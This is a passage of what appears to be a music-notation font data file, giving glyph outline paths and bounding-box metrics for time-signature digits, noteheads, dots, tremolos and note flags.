b 445 -26 325 7 387 0 b 569 -151 501 -52 547 -89 b 575 -180 573 -161 575 -170 b 527 -275 575 -217 547 -245 b 347 -367 484 -334 419 -367 b 261 -351 318 -367 289 -363 b 95 -300 206 -333 154 -307 b 55 -321 73 -297 65 -302 b 29 -468 29 -367 40 -419 b 56 -505 26 -482 36 -500 b 132 -536 82 -514 108 -524 z' }, 'timeSig6': { 'x_min': 20, 'x_max': 565, 'y_min': -363, 'y_max': 363, 'ha': 726, 'o': 'm 390 -518 b 621 -458 469 -507 549 -494 b 814 -134 753 -390 814 -281 b 652 59 814 -16 750 58 b 580 48 629 59 606 55 b 233 -334 392 -9 276 -138 b 115 -228 181 -314 143 -278 b 98 -160 104 -206 98 -183 b 107 -109 98 -144 101 -127 b 167 37 124 -59 145 -12 b 508 340 236 189 347 292 b 575 353 530 347 553 353 b 648 327 600 353 625 346 b 665 320 654 321 661 320 b 687 336 674 320 681 325 b 703 405 697 359 703 382 b 684 472 703 429 697 451 b 593 523 664 504 631 521 b 576 521 588 523 582 523 b 297 403 472 508 380 465 b 115 177 217 344 164 264 b 29 -121 60 82 29 -17 b 53 -278 29 -173 36 -225 b 226 -497 82 -374 131 -454 b 347 -523 265 -514 305 -523 b 390 -518 361 -523 376 -521 z m 351 -357 b 312 -351 337 -356 320 -363 b 325 -315 304 -340 320 -327 b 543 -120 373 -222 448 -158 b 622 -104 570 -108 596 -102 b 717 -132 655 -104 687 -112 b 740 -167 732 -143 740 -153 b 730 -196 740 -176 737 -184 b 563 -321 690 -258 634 -300 b 359 -357 497 -341 428 -354 z' }, 'timeSig7': { 'x_min': 20.3617407597707, 'x_max': 592, 'y_min': -345, 'y_max': 345, 'ha': 690, 'o': 'm 253 -497 b 318 -485 276 -497 297 -487 b 366 -441 348 -482 360 -468 b 487 -104 390 -323 433 -210 b 835 403 580 82 701 246 b 852 436 847 416 852 428 b 815 467 852 451 840 461 b 762 474 798 471 779 474 b 674 445 732 474 701 465 b 603 410 652 431 628 420 b 383 360 533 379 459 360 b 200 435 315 360 249 382 b 88 494 168 469 131 485 b 66 497 81 495 73 497 b 33 484 52 497 39 492 b 50 436 22 469 39 451 b 295 310 114 360 199 324 b 406 301 331 304 369 301 b 593 324 468 301 530 308 b 585 307 589 314 588 310 b 265 -249 451 137 338 -46 b 207 -442 242 -312 223 -377 b 204 -462 206 -449 204 -456 b 253 -497 204 -487 220 -497 z' }, 'timeSig8': { 'x_min': 20, 'x_max': 504.15101530718516, 'y_min': -428, 'y_max': 428, 'ha': 856, 'o': 'm 265 -616 b 289 -615 274 -616 281 -616 b 710 -271 492 -592 657 -485 b 726 -148 721 -229 727 -187 b 585 108 726 -48 687 42 b 572 127 576 114 573 120 b 576 144 572 132 575 138 b 598 301 590 196 598 249 b 586 413 598 338 593 376 b 356 616 559 531 467 616 b 233 582 317 616 275 606 b 29 233 101 505 29 384 b 104 9 29 153 46 72 b 189 -48 127 -16 160 -27 b 92 -158 141 -73 114 -114 b 37 -343 63 -217 50 -279 b 33 -390 35 -359 33 -374 b 265 -616 33 -524 148 -616 z m 328 -438 b 158 -276 233 -436 160 -359 b 166 -239 158 -264 161 -252 b 230 -157 176 -203 202 -179 b 367 -72 274 -125 320 -98 b 448 -49 396 -56 423 -49 b 562 -118 491 -49 528 -72 b 611 -251 590 -157 611 -199 b 569 -341 611 -288 595 -318 b 328 -438 500 -402 416 -432 z m 258 105 b 124 148 215 105 167 117 b 96 196 105 163 96 177 b 99 217 96 202 96 209 b 197 384 120 281 151 337 b 350 451 242 429 297 451 b 516 364 412 451 472 422 b 530 331 523 354 530 343 b 530 327 530 330 530 328 l 530 320 b 468 151 520 261 507 200 b 419 122 455 135 442 125 b 258 105 370 117 320 105 z' }, 'timeSig9': { 'x_min': 20, 'x_max': 494, 'y_min': -421, 'y_max': 421, 'ha': 842, 'o': 'm 235 -606 b 361 -564 275 -606 318 -593 b 619 -229 487 -482 566 -366 b 706 127 664 -114 694 4 b 711 233 708 163 711 197 b 700 346 711 271 708 308 b 389 606 658 517 530 606 b 351 605 376 606 364 606 b 56 272 171 586 56 441 b 96 98 56 216 69 156 b 334 -53 144 -3 238 -53 b 544 36 408 -53 484 -24 b 652 176 586 78 622 124 b 631 71 645 141 639 105 b 467 -302 599 -63 562 -196 b 271 -442 412 -364 354 -422 b 225 -448 255 -446 239 -448 b 95 -305 148 -448 98 -395 b 89 -255 95 -288 94 -271 b 73 -233 86 -246 85 -233 b 52 -248 65 -233 56 -239 b 29 -317 42 -271 30 -291 b 49 -448 29 -361 40 -405 b 235 -606 69 -541 144 -606 z m 340 104 b 144 209 264 108 194 141 b 127 258 132 225 127 240 b 137 297 127 271 130 284 b 366 449 184 396 269 449 b 517 408 415 449 467 436 b 595 348 546 392 572 372 b 616 305 608 336 616 321 b 609 281 616 298 613 289 b 340 104 557 184 477 104 z' }, 'timeSigCommon': { 'x_min': 20, 'x_max': 585, 'y_min': -298, 'y_max': 294.49658092772603, 'ha': 592.496580927726, 'o': 'm 444 -405 b 829 -45 626 -346 740 -207 b 842 26 842 -23 842 1 b 821 58 842 39 841 58 b 795 40 811 58 802 48 b 765 3 785 29 773 16 b 469 -223 690 -104 596 -183 b 354 -242 431 -235 392 -242 b 180 -177 292 -242 235 -223 b 135 -99 154 -157 140 -131 b 132 -59 134 -85 132 -72 b 141 7 132 -37 135 -16 b 449 274 189 160 297 243 b 477 278 459 276 468 276 b 546 203 517 278 539 253 b 517 157 550 177 533 166 b 485 143 507 153 497 143 l 482 143 b 467 148 478 143 472 144 b 374 183 438 170 406 181 b 264 118 333 183 292 161 b 238 48 246 92 238 69 b 261 -9 238 29 245 10 b 383 -73 287 -39 337 -73 b 412 -68 392 -73 402 -72 b 631 164 526 -27 586 59 b 649 252 644 193 649 222 b 636 328 649 278 645 304 b 504 423 615 400 579 429 b 242 318 408 415 317 387 b 29 -158 104 190 29 33 b 30 -176 29 -164 29 -170 b 115 -364 42 -246 52 -315 b 307 -429 177 -410 240 -429 b 444 -405 351 -429 397 -420 z' }, 'timeSigCutCommon': { 'x_min': 20, 'x_max': 695, 'y_min': -687.0379164869064, 'y_max': 687, 'ha': 1374.0379164869064, 'o': 'm 564 -989 b 595 -945 585 -991 589 -963 l 599 -922 b 605 -628 600 -824 603 -726 l 609 -399 b 878 -251 706 -363 798 -320 b 996 -85 932 -204 976 -153 b 1001 -63 998 -78 1001 -71 b 989 -46 1001 -56 998 -49 b 978 -43 985 -45 982 -43 b 950 -59 968 -43 959 -49 b 733 -216 894 -132 815 -177 b 611 -259 694 -235 652 -249 b 616 -20 612 -179 615 -99 b 680 29 642 -7 665 9 b 698 43 685 36 690 40 b 870 251 792 82 840 160 b 877 294 874 265 877 279 b 818 410 877 338 855 382 b 683 458 779 442 730 448 b 625 468 664 462 644 465 l 625 514 b 638 958 626 662 636 811 b 626 989 638 979 635 989 b 603 981 621 989 613 986 b 422 840 534 945 481 888 b 412 805 412 832 413 818 b 426 713 410 773 420 743 b 445 678 429 690 435 678 b 474 691 452 678 461 683 b 563 755 503 710 530 732 b 564 724 564 740 564 733 b 559 469 563 639 560 554 b 462 454 526 469 494 464 b 112 143 302 399 199 281 b 33 -94 66 71 45 -10 b 29 -148 30 -112 29 -131 b 105 -351 29 -223 52 -291 b 359 -455 171 -426 258 -451 b 517 -431 409 -451 464 -446 b 539 -422 524 -428 531 -425 l 539 -477 b 533 -739 536 -563 539 -651 b 530 -824 531 -768 530 -795 b 546 -948 530 -865 533 -907 b 564 -989 552 -962 543 -989 z m 410 -288 b 193 -197 328 -288 253 -264 b 141 -60 160 -161 141 -108 b 157 6 141 -35 147 -12 b 259 158 189 58 217 112 b 438 291 311 215 364 266 b 528 305 468 301 498 305 b 554 304 537 305 546 304 b 553 212 554 274 554 242 b 426 115 498 199 446 164 b 416 68 419 99 416 84 b 425 12 416 49 420 30 b 474 -39 432 -17 448 -32 b 513 -43 487 -42 498 -43 b 547 -40 524 -43 536 -42 l 543 -272 b 461 -285 516 -278 488 -281 b 410 -288 444 -287 426 -288 z m 694 197 b 668 203 685 197 677 199 b 621 216 654 210 638 215 b 622 294 622 242 622 268 b 706 268 651 287 678 278 b 746 235 721 261 734 249 b 752 222 749 230 752 226 b 743 213 752 219 749 215 b 694 197 727 206 711 197 z' }, 'noteheadDoubleWhole': { 'x_min': -0.4444444444444444, 'x_max': 614.1875, 'y_min': -223.03296670127517, 'y_max': 223, 'ha': 446.0329667012752, 'o': 'm 488 -242 b 693 -79 595 -249 685 -166 l 693 -55 b 690 0 693 -36 691 -17 b 540 187 684 84 621 164 b 449 200 508 196 480 200 b 210 104 363 200 282 163 b 186 56 196 92 186 76 b 207 -82 186 9 192 -37 b 300 -204 225 -132 248 -181 b 488 -242 356 -229 415 -240 z m 35 -321 b 62 -266 58 -318 58 -288 l 62 -194 b 63 50 62 -114 63 -32 b 60 189 63 96 63 143 b 43 300 59 226 60 265 b 29 321 40 308 39 321 l 26 321 b 0 292 13 318 0 310 b 0 248 0 278 -1 262 b 6 147 4 215 6 181 b 4 48 6 114 4 81 b 6 0 4 32 6 16 b 7 -36 7 -12 7 -24 l 7 -52 b 6 -156 7 -86 6 -121 b 19 -275 6 -196 9 -236 b 35 -321 23 -291 16 -323 z m 128 -261 b 144 -251 135 -264 141 -256 b 158 -203 156 -236 157 -220 b 161 -137 161 -181 161 -158 b 157 30 161 -81 157 -26 b 158 76 157 45 157 60 l 158 101 b 156 225 158 141 158 183 b 137 253 156 235 154 253 l 134 253 b 109 222 120 251 109 242 b 104 91 108 179 104 134 b 108 -58 104 42 109 -9 b 107 -105 108 -73 108 -89 b 105 -127 107 -112 107 -120 b 118 -245 105 -167 114 -204 b 128 -261 118 -252 121 -259 z m 490 -88 b 449 -86 477 -88 464 -88 b 287 -56 399 -85 341 -78 b 258 -33 275 -52 258 -48 b 282 -7 258 -20 272 -13 b 458 43 340 23 399 43 b 580 14 497 43 537 35 b 618 -20 606 1 619 -9 b 592 -58 618 -30 609 -42 b 490 -88 562 -82 528 -88 z m 757 -291 b 793 -171 796 -255 792 -212 b 795 -49 795 -131 795 -91 b 786 207 795 36 791 121 b 779 240 786 217 783 229 b 766 258 776 246 776 258 b 762 256 765 258 763 256 b 739 236 752 253 740 252 b 733 177 737 216 732 197 b 737 20 737 125 739 73 l 737 -107 b 740 -202 737 -138 739 -170 b 757 -291 740 -230 743 -261 z m 847 -314 b 871 -288 860 -315 867 -300 b 884 -187 881 -255 886 -222 b 876 115 878 -86 876 14 b 877 255 876 161 876 209 b 868 291 877 268 873 279 b 855 304 867 301 863 304 b 844 301 852 304 848 304 b 822 265 825 292 822 278 b 824 251 822 259 822 255 b 822 170 822 225 822 197 l 822 -20 b 835 -284 827 -86 825 -186 b 847 -314 837 -295 835 -311 z' }, 'noteheadWhole': { 'x_min': 0, 'x_max': 380.16649762501584, 'y_min': -186.17102907059297, 'y_max': 165, 'ha': 351.17102907059297, 'o': 'm 547 40 b 223 -268 543 -151 367 -259 b 102 -233 180 -271 143 -248 l 62 -216 b 0 -127 22 -197 0 -166 b 6 -91 0 -115 1 -104 b 122 141 33 -9 69 71 b 327 238 170 204 249 238 b 514 158 397 238 467 212 b 547 40 544 125 549 84 z m 248 -107 b 384 -63 295 -102 341 -88 b 426 -23 402 -53 415 -40 b 435 3 432 -14 435 -6 b 413 32 435 14 428 24 b 301 73 376 49 343 73 b 272 69 291 73 282 72 b 121 -35 207 53 157 20 b 111 -58 117 -42 111 -50 b 125 -75 111 -65 115 -71 b 248 -107 164 -89 202 -107 z' }, 'noteheadHalf': { 'x_min': 0, 'x_max': 334, 'y_min': -174, 'y_max': 175, 'ha': 349, 'o': 'm 480 56 b 167 -251 478 -115 331 -251 b 94 -242 143 -251 118 -248 b 9 -141 43 -229 20 -192 b 0 -68 3 -115 0 -91 b 284 249 0 95 127 200 b 304 252 289 251 297 252 b 481 78 374 252 481 170 b 480 56 481 71 481 63 z m 213 -102 b 399 6 274 -81 341 -48 b 402 17 400 7 402 13 b 399 27 402 22 400 26 b 311 94 373 53 353 88 b 292 95 305 95 300 95 b 130 27 230 95 181 55 b 69 -62 98 9 62 -29 b 161 -98 76 -98 128 -91 b 213 -102 174 -101 186 -101 z' }, 'noteheadBlack': { 'x_min': 0, 'x_max': 334.04644433966797, 'y_min': -164, 'y_max': 164, 'ha': 328, 'o': 'm 112 -233 b 141 -236 122 -235 131 -236 b 481 104 279 -236 485 -48 b 403 222 477 141 478 192 b 334 236 382 232 359 236 b 1 -59 180 236 13 59 b 0 -85 1 -68 0 -76 b 112 -233 0 -157 32 -215 z' }, 'noteheadXWhole': { 'x_min': 0, 'x_max': 506, 'y_min': -143.0823320899293, 'y_max': 144, 'ha': 287.0823320899293, 'o': 'm 53 -206 b 219 -163 117 -207 170 -196 b 314 -102 249 -141 282 -122 b 377 -63 334 -89 356 -76 b 514 -161 422 -96 468 -128 b 576 -196 534 -174 552 -196 b 589 -193 580 -196 585 -196 b 688 -174 625 -194 657 -181 b 711 -158 698 -171 711 -173 b 696 -143 711 -151 701 -147 b 503 -9 632 -98 567 -52 b 485 4 497 -4 491 0 b 704 145 559 49 634 95 b 729 164 711 150 729 151 l 729 168 b 696 196 726 183 710 193 b 621 207 671 202 645 207 b 528 177 589 207 557 200 b 373 76 480 140 426 108 b 246 164 330 104 287 132 b 122 206 207 193 167 203 b 66 192 102 207 72 207 b 99 147 58 173 85 158 b 274 14 157 102 215 58 b 16 -164 184 -42 96 -98 b 0 -179 12 -168 0 -170 b 1 -183 0 -180 0 -183 b 26 -204 6 -193 12 -204 b 53 -206 37 -206 49 -206 z m 611 -177 b 376 -9 530 -118 452 -63 b 164 -143 305 -53 235 -98 b 104 -164 147 -154 130 -164 b 82 -161 96 -164 89 -164 b 230 -65 137 -125 183 -95 l 347 12 b 327 26 341 16 334 22 b 196 121 284 58 239 89 b 163 147 184 128 173 137 b 140 173 154 154 140 163 b 143 180 140 176 141 177 b 179 166 154 194 167 174 b 372 27 243 120 307 73 l 566 153 b 613 171 580 161 596 170 b 635 160 624 171 635 174 b 621 147 635 153 626 150 l 429 24 b 400 6 419 19 409 13 b 569 -117 456 -35 513 -75 b 611 -177 588 -130 608 -143 z' }, 'noteheadXHalf': { 'x_min': 0, 'x_max': 421, 'y_min': -145.51844828189743, 'y_max': 151, 'ha': 296.51844828189746, 'o': 'm 490 -209 b 539 -207 505 -207 521 -207 b 606 -209 560 -207 583 -209 b 598 -196 602 -203 600 -199 b 406 -19 533 -135 469 -78 l 540 130 b 547 144 546 135 547 140 b 536 156 547 148 543 153 b 488 192 518 166 503 176 b 416 217 471 209 444 217 b 323 180 380 217 344 204 l 264 115 b 239 138 256 122 248 131 b 33 197 180 196 108 200 b 3 186 23 197 6 193 b 19 154 -1 174 10 163 b 171 12 69 107 120 59 b 19 -157 120 -45 69 -101 b 0 -177 14 -163 0 -166 b 1 -181 0 -179 0 -180 b 39 -203 9 -197 22 -203 l 186 -203 b 197 -202 190 -202 193 -200 b 213 -202 203 -202 207 -202 b 262 -180 228 -202 246 -199 b 314 -122 279 -161 297 -141 b 490 -209 363 -170 412 -216 z m 435 -148 b 291 -30 379 -112 337 -69 l 213 -118 b 190 -137 207 -125 202 -137 b 145 -111 173 -130 154 -127 b 160 -79 137 -98 151 -88 b 238 16 184 -48 212 -16 b 141 99 204 43 173 72 b 124 117 135 105 130 111 b 115 132 121 121 115 127 b 118 137 115 134 117 137 b 141 132 127 147 135 138 l 253 36 b 347 150 285 75 315 112 b 370 164 354 160 363 163 b 403 145 382 164 393 156 b 416 127 412 140 416 132 b 405 102 416 118 412 111 l 307 -10 b 413 -105 343 -42 379 -73 b 435 -148 425 -115 436 -125 z' }, 'noteheadXBlack': { 'x_min': 0, 'x_max': 289, 'y_min': -156, 'y_max': 157, 'ha': 313, 'o': 'm 23 -225 b 69 -204 40 -223 56 -219 b 137 -131 92 -180 115 -157 l 209 -50 b 377 -197 264 -101 321 -148 b 403 -210 384 -203 393 -210 b 408 -210 405 -210 406 -210 b 416 -192 416 -207 416 -199 b 416 -186 416 -190 416 -187 b 403 -148 416 -171 413 -158 b 344 -81 384 -125 367 -101 b 252 -1 312 -55 282 -29 b 377 157 297 49 340 101 b 402 202 387 170 402 187 b 395 217 402 207 400 213 b 376 226 389 223 382 226 b 334 192 360 226 346 204 b 206 42 289 143 248 94 b 96 161 167 81 131 120 b 60 193 86 174 76 189 b 33 206 52 196 42 206 b 22 199 29 206 26 204 b 10 173 14 190 10 181 b 22 147 10 166 14 157 b 148 7 62 98 104 52 b 164 -7 154 1 158 -3 b 10 -189 111 -66 55 -122 b 0 -212 6 -197 0 -203 b 1 -217 0 -213 0 -216 b 23 -225 4 -226 14 -222 z' }, 'noteheadCircleX': { 'x_min': 0, 'x_max': 344, 'y_min': -179, 'y_max': 175.12551922594866, 'ha': 354.12551922594866, 'o': 'm 99 -210 b 236 -258 137 -242 186 -258 b 418 -183 305 -258 374 -230 b 495 33 475 -120 495 -48 b 494 66 495 45 494 55 b 302 252 487 183 405 256 b 181 243 262 249 222 248 b 46 171 128 236 79 219 b 0 19 14 127 0 73 b 99 -210 0 -68 35 -156 z m 89 -120 b 48 0 56 -82 48 -42 b 89 112 48 35 59 76 b 109 101 96 111 102 108 l 210 7 l 187 -17 b 89 -120 151 -53 125 -82 z m 176 -183 b 127 -163 158 -179 141 -171 l 252 -32 l 372 -144 b 233 -189 334 -173 285 -189 b 176 -183 215 -189 196 -187 z m 245 42 b 124 156 204 79 164 118 b 200 176 145 166 170 173 b 337 183 245 181 291 184 b 377 176 351 183 364 180 b 245 42 333 131 288 86 z m 405 -112 l 392 -99 l 285 3 l 400 121 b 418 154 409 131 418 140 b 465 50 448 130 465 94 b 405 -112 462 -17 439 -73 z' }, 'noteheadTriangleUpWhole': { 'x_min': 0, 'x_max': 366, 'y_min': -145, 'y_max': 138, 'ha': 283, 'o': 'm 55 -209 l 504 -209 b 527 -199 520 -209 527 -206 b 520 -180 527 -193 524 -187 b 459 -94 501 -151 480 -122 b 279 170 400 -6 341 82 b 242 199 266 190 253 199 b 206 167 230 199 219 189 b 10 -145 140 63 76 -42 b 0 -171 3 -156 0 -164 b 23 -200 0 -183 9 -192 b 55 -209 33 -206 45 -209 z m 202 -161 b 176 -137 183 -163 176 -156 b 187 -62 176 -111 179 -86 b 253 95 206 -10 228 42 b 337 -132 307 24 334 -49 b 311 -161 338 -153 334 -161 b 256 -160 294 -161 275 -160 b 202 -161 238 -160 220 -161 z' }, 'noteheadTriangleUpHalf': { 'x_min': 0, 'x_max': 341.0833130378007, 'y_min': -159, 'y_max': 159, 'ha': 318, 'o': 'm 458 -226 b 478 -229 462 -223 469 -229 b 490 -222 482 -229 487 -228 b 477 -184 495 -207 484 -196 b 281 176 410 -65 346 56 b 238 225 269 194 261 213 b 225 229 232 226 228 228 b 209 215 217 229 213 225 b 4 -153 141 92 73 -30 b 0 -170 1 -158 0 -164 b 12 -189 0 -177 4 -183 b 66 -215 27 -202 43 -213 b 458 -226 194 -217 323 -222 z m 278 -170 l 151 -167 b 298 75 204 -89 240 -1 b 301 82 300 76 301 79 b 357 -22 320 48 338 13 b 344 -43 353 -27 350 -37 b 285 -163 317 -79 312 -127 b 278 -170 282 -166 279 -167 z' }, 'noteheadTriangleUpBlack': { 'x_min': 0, 'x_max': 346, 'y_min': -149, 'y_max': 149, 'ha': 298, 'o': 'm 481 -215 b 498 -209 487 -215 492 -215 b 482 -173 498 -194 488 -184 l 284 173 b 259 202 278 184 269 194 b 229 215 248 210 238 215 b 196 189 216 215 206 206 l 13 -150 b 3 -168 9 -156 6 -163 b 0 -180 1 -173 0 -177 b 12 -197 0 -187 4 -193 b 63 -213 29 -206 45 -213 b 481 -215 203 -213 343 -215 z' }, 'noteheadDiamondWhole': { 'x_min': 0, 'x_max': 271, 'y_min': -132, 'y_max': 132, 'ha': 264, 'o': 'm 230 -177 b 256 -190 240 -186 249 -190 b 281 -173 265 -190 272 -184 b 382 -29 314 -124 347 -76 b 390 -10 387 -22 390 -14 b 376 12 390 -3 386 4 b 173 177 308 66 240 121 b 144 190 166 183 160 190 b 98 153 127 186 112 170 b 13 40 69 115 42 76 b 0 13 4 29 0 20 b 22 -19 0 3 7 -9 b 230 -177 92 -69 163 -122 z m 279 -128 b 261 -122 274 -134 266 -127 l 66 30 b 56 45 59 35 56 39 b 62 56 56 48 59 52 b 122 122 91 101 105 122 b 194 76 138 122 158 107 l 320 -26 b 336 -50 325 -32 336 -35 b 279 -128 318 -75 300 -102 z' }, 'noteheadDiamondHalf': { 'x_min': 0, 'x_max': 295, 'y_min': -148, 'y_max': 148, 'ha': 296, 'o': 'm 228 -207 b 245 -213 235 -210 240 -213 b 264 -203 252 -213 258 -210 b 415 -46 314 -150 364 -98 b 425 -27 420 -40 425 -35 b 416 -10 425 -22 422 -16 b 217 200 350 60 284 131 b 194 213 212 207 204 213 b 170 196 181 213 177 203 b 14 33 118 143 68 86 b 0 7 4 23 0 16 b 17 -20 0 -1 6 -10 b 118 -114 52 -50 82 -85 b 228 -207 156 -144 184 -184 z m 209 -157 b 134 -69 177 -138 141 -115 b 130 -26 131 -55 130 -40 b 215 148 130 42 160 99 b 225 156 217 151 220 156 b 230 153 226 156 228 156 b 323 -26 276 104 321 55 b 298 -75 324 -42 315 -59 b 265 -109 287 -86 276 -99 b 209 -157 245 -125 228 -167 z' }, 'noteheadDiamondBlack': { 'x_min': 0, 'x_max': 310, 'y_min': -146, 'y_max': 146, 'ha': 292, 'o': 'm 266 -210 b 289 -194 278 -209 284 -200 b 406 -76 330 -156 367 -115 b 446 -23 433 -49 446 -36 b 412 29 446 -10 435 3 b 405 36 409 30 408 33 b 252 196 354 89 304 143 b 225 210 243 204 235 210 b 204 202 219 210 212 209 b 10 24 141 141 75 82 b 0 9 4 19 0 14 b 9 -6 0 4 3 0 l 232 -192 b 266 -210 242 -200 256 -204 z' }, 'noteheadSquareWhite': { 'x_min': 0, 'x_max': 350, 'y_min': -131, 'y_max': 131, 'ha': 262, 'o': 'm 468 -189 b 485 -187 474 -189 480 -189 b 500 -176 495 -187 500 -183 b 498 -168 500 -174 498 -171 b 497 -166 498 -167 497 -167 l 498 -164 b 504 -154 503 -163 504 -158 b 503 -138 504 -150 503 -144 b 503 -135 503 -137 503 -137 l 503 -94 b 492 66 500 -45 494 10 b 488 135 492 89 488 112 b 484 150 488 141 485 145 b 482 154 482 151 482 153 b 429 189 472 177 456 189 b 53 184 304 186 179 186 l 39 184 b 33 181 36 183 35 183 b 12 160 20 181 12 177 b 0 -109 9 71 4 -19 b 19 -137 0 -125 7 -134 b 23 -151 19 -141 20 -145 b 85 -187 37 -173 55 -187 b 468 -189 212 -187 340 -187 z m 246 -127 l 246 -125 l 63 -125 b 66 -111 65 -122 66 -117 b 73 72 69 -50 71 10 l 73 130 b 88 128 78 128 82 128 b 148 130 108 130 128 130 b 271 128 190 130 230 128 l 271 130 l 420 130 b 428 20 425 92 425 56 l 436 -127 z' }, 'noteheadSquareBlack': { 'x_min': 0, 'x_max': 342, 'y_min': -129.98961937716263, 'y_max': 132.44444444444446, 'ha': 262.4340638216071, 'o': 'm 217 190 b 439 186 304 190 372 190 b 467 180 448 184 458 183 b 492 145 484 176 492 167 b 490 -124 490 56 490 -33 b 488 -141 490 -130 488 -135 b 456 -170 488 -163 478 -168 b 118 -183 344 -176 230 -181 b 29 -184 89 -183 60 -192 b 0 -148 4 -180 0 -168 b 1 29 1 -89 1 -30 b 1 156 1 71 1 114 b 36 190 3 187 4 190 b 217 190 102 192 168 190 z' }, 'augmentationDot': { 'x_min': 0, 'x_max': 96, 'y_min': -57, 'y_max': 57, 'ha': 114, 'o': 'm 13 -82 b 16 -81 14 -82 14 -82 b 105 -73 46 -76 75 -76 b 131 -48 121 -72 131 -60 b 138 26 134 -24 138 0 b 137 48 138 33 138 40 b 108 82 134 71 125 82 b 95 81 104 82 99 82 b 33 71 75 78 53 75 b 4 46 20 68 6 62 b 0 -66 1 9 0 -29 b 13 -82 0 -73 1 -82 z' }, 'tremolo1': { 'x_min': -158, 'x_max': 156.19381479578487, 'y_min': -88, 'y_max': 88, 'ha': 176, 'o': 'm -206 -127 b -194 -125 -203 -127 -199 -127 b 173 -36 -72 -94 50 -65 b 220 16 202 -29 215 -12 b 225 50 223 30 225 45 b 216 107 226 76 222 91 b 194 127 210 120 204 127 b 183 124 192 127 189 127 l -192 33 b -226 -9 -213 27 -222 14 b -228 -32 -226 -16 -228 -23 b -222 -108 -228 -58 -222 -82 b -206 -127 -222 -120 -217 -127 z' }, 'flag8thUp': { 'x_min': 0, 'x_max': 261, 'y_min': -819, 'y_max': 0, 'ha': 819, 'o': 'm 265 -1171 b 351 -1035 301 -1130 336 -1087 b 376 -867 369 -979 376 -923 b 367 -755 376 -829 373 -792 b 233 -422 350 -632 311 -520 b 131 -291 199 -379 166 -334 b 65 -125 91 -239 66 -192 b 62 -75 65 -112 62 -91 b 42 0 62 -49 52 -24 l 35 0 b 0 -63 6 -13 0 -36 l 0 -144 b 96 -445 0 -255 29 -356 b 177 -547 124 -478 150 -514 b 308 -831 246 -629 298 -721 b 317 -890 310 -851 317 -871 b 311 -919 317 -900 315 -910 b 256 -1005 297 -950 282 -984 b 228 -1068 233 -1024 228 -1045 b 230 -1106 228 -1080 229 -1093 b 240 -1162 232 -1125 239 -1143 b 251 -1179 242 -1174 246 -1179 b 265 -1171 255 -1179 259 -1176 z' }, 'flag8thDown': { 'x_min': 0, 'x_max': 261, 'y_min': 0, 'y_max': 819, 'ha': 819, 'o': 'm 265 1171 b 251 1179 259 1176 255 1179 b 240 1162 246 1179 242 1174 b 230 1106 239 1143 232 1125 b 228 1068 229 1093 228 1080 b 256 1005 228 1045 233 1024 b 311 919 282 984 297 950 b 317 890 315 910 317 900 b 308 831 317 871 310 851 b 177 547 298 721 246 629 b 96 445 150 514 124 478 b 0 144 29 356 0 255 l 0 63 b 35 0 0 36 6 13 l 42 0 b 62 75 52 24 62 49 b 59 117 62 91 59 104 b 131 291 60 183 91 239 b 233 422 166 334 199 379 b 367 755 311 520 350 632 b 376 867 373 792 376 829 b 351 1035 376 923 369 979 b 265 1171 336 1087 301 1130 z' }, 'flag16thUp': { 'x_min': 0, 'x_max': 327.1591498636094, 'y_min': -819.3972596310256, 'y_max': 0, 'ha': 819.3972596310256, 'o': 'm 415 -1179 b 435 -1168 423 -1182 429 -1174 b 451 -1138 442 -1159 446 -1149 b 465 -1020 464 -1102 467 -1064 b 461 -962 464 -1004 464 -984 b 471 -821 467 -916 472 -870 b 465 -721 472 -791 467 -756 b 415 -520 459 -651 441 -585 b 200 -245 370 -408 284 -327 b 96 -114 160 -206 118 -168 b 75 -24 84 -85 85 -53 b 59 0 72 -16 72 0 b 53 -1 58 0 56 -1 b 27 -32 40 -6 27 -10 b 29 -68 27 -43 29 -55 b 10 -79 20 -69 13 -72 b 1 -109 6 -89 1 -99 b 0 -170 0 -130 0 -148 b 35 -410 0 -252 12 -333 b 258 -793 76 -557 156 -681 b 409 -1158 350 -896 410 -1014 b 415 -1179 409 -1165 405 -1175 z m 413 -816 b 331 -681 392 -769 364 -723 b 145 -420 266 -596 189 -521 b 86 -281 125 -374 102 -330 b 156 -370 105 -312 128 -343 b 318 -539 210 -425 269 -478 b 413 -816 383 -621 420 -713 z' }, 'flag16thDown': { 'x_min': 0, 'x_max': 327.1591498636094, 'y_min': 0, 'y_max': 819, 'ha': 819, 'o': 'm 59 0 b 75 24 72 0 72 16 b 96 114 85 53 84 85 b 200 245 118 168 160 206 b 415 520 284 327 370 408 b 465 721 441 585 459 651 b 471 821 467 756 472 791 b 461 962 472 870 467 916 b 465 1020 464 984 464 1004 b 451 1138 467 1064 464 1102 b 435 1168 446 1149 442 1159 b 418 1179 431 1172 425 1179 b 415 1179 418 1179 416 1179 b 408 1169 409 1176 408 1174 b 409 1158 408 1165 409 1161 b 258 793 410 1014 350 896 b 35 410 156 681 76 557 b 0 170 12 333 0 252 b 0 88 0 148 0 108 b 29 7 0 71 6 23 b 59 0 33 4 58 0 z m 86 281 b 145 420 102 330 125 374 b 331 681 189 521 266 596 b 413 816 364 723 392 769 b 415 791 413 808 415 799 b 318 539 415 698 377 613 b 156 370 269 478 210 425 b 86 281 128 343 105 312 z' }, 'flag32ndUp': { 'x_min': -0.19862981551275186, 'x_max': 268.0942440943661, 'y_min': -849.4710740978672, 'y_max': 149.0769891455102, 'ha': 998.5480632433774, 'o': 'm 323 -1223 b 351 -1198 337 -1227 344 -1210 b 359 -1184 354 -1194 356 -1188 b 386 -999 377 -1122 387 -1060 b 341 -783 386 -927 372 -855 b 330 -736 334 -769 330 -753 b 333 -708 330 -727 330 -717 b 344 -621 340 -678 344 -649 b 341 -579 344 -608 343 -593 b 328 -500 338 -553 328 -526 b 331 -475 328 -491 328 -484 b 347 -370 343 -438 348 -402 b 151 27 348 -212 288 -56 b 53 176 98 59 50 102 b 45 197 53 183 48 192 b 33 215 40 203 40 216 l 30 215 b 6 194 22 212 9 209 b 0 120 3 170 -1 145 b 0 -43 4 65 0 13 b 0 -98 0 -60 1 -79 b 4 -276 0 -157 6 -216 b 7 -456 4 -337 7 -397 b 66 -638 7 -523 22 -585 b 158 -724 94 -671 127 -697 b 318 -1011 246 -801 295 -899 b 321 -1044 321 -1021 321 -1032 b 312 -1152 321 -1080 312 -1116 b 317 -1192 312 -1165 314 -1179 b 323 -1223 320 -1202 311 -1220 z m 275 -657 b 111 -492 226 -589 163 -547 b 65 -376 78 -456 66 -418 b 71 -323 65 -360 68 -341 b 275 -657 164 -418 265 -504 z m 285 -376 b 121 -180 249 -289 173 -245 b 91 -105 104 -158 92 -135 b 288 -354 181 -144 288 